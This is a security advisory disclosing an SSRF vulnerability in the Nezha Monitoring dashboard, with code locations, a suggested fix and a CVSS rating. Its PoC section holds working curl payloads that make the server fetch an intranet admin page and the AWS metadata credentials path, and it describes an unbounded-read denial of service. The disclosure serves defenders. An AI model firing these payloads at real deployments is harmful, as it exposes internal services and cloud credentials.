Server-side request forgery (SSRF) In github.com/nezhahq/nezha
Description
Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification
Summary
nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler — so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response.
Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.
Affected versions
Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.
Reachability chain
cmd/dashboard/controller/controller.go:121-122 auth.GET("/notification", listHandler(listNotification)) auth.POST("/notification", commonHandler(createNotification)) // <-- commonHandler, not adminHandler
For comparison, /user routes ARE gated by adminHandler:
auth.GET("/user", adminHandler(listUser)) auth.POST("/user", adminHandler(createUser)) auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))
adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.
The vulnerable handler
// cmd/dashboard/controller/notification.go:46-83 func createNotification(c *gin.Context) (uint64, error) { var nf model.NotificationForm if err := c.ShouldBindJSON(&nf); err != nil { return 0, err } var n model.Notification n.UserID = getUid(c) n.Name = nf.Name n.RequestMethod = nf.RequestMethod...
Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.
The reflection sink
// model/notification.go:113-159 func (ns *NotificationServerBundle) Send(message string) error { var client *http.Client n := ns.Notification if n.VerifyTLS != nil && *n.VerifyTLS { client = utils.HttpClient } else { client = utils.HttpClientSkipTlsVerify...
The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.
Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false — attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.
PoC
A. Read intranet admin-panel response body
curl -X POST -H "Authorization: Bearer <member-jwt>" \ -H "Content-Type: application/json" \ -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \ http://nezha-dashboard.example.com/api/v1/notification
Response:
{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}
B. AWS IMDSv2 reachability + body leak
curl -X POST -H "Authorization: Bearer <member-jwt>" \ -H "Content-Type: application/json" \ -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \ http://nezha-dashboard.example.com/api/v1/notification
IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.
C. DoS via large internal file
Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.
Suggested fix
Switch /notification routes to adminHandler. Same fix for /alert-rule, /cron, /ddns if they also issue user-URL requests synchronously. Compare with how /user is already guarded.
auth.POST("/notification", adminHandler(createNotification)) auth.PATCH("/notification/:id", adminHandler(updateNotification))
SSRF-harden NotificationServerBundle.Send():
Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT.
Pin http.Transport.DialContext to the resolved IP — closes DNS-rebinding TOCTOU.
Refuse non-http(s) schemes.
Cap response body: io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.
Reconsider VerifyTLS=false toggle on RoleMember-reachable paths — if the route remains member-reachable, at minimum cert validation should be enforced.
Severity
CVSS 3.1: Medium — AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L ≈ 6.4. PR:L because attacker needs a RoleMember account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.
Auth: authenticated RoleMember (Role == 1).
Reproduction environment
Tested against: nezhahq/nezha:v0.x (commit 50dc8e660326b9f22990898142c58b7a5312b42a).
Code locations:
Handler: cmd/dashboard/controller/notification.go:46-83, 97-146
Sink: model/notification.go:113-159
Auth gate: cmd/dashboard/controller/controller.go:121-122 (commonHandler), 214-236 (handler defs)
Reporter
Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email [email protected] for vulnerability reports — happy to also send via email if the maintainer prefers.
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
go | 1.14.15-0.20260517022419-d06d539d34c1 |
Aliases
References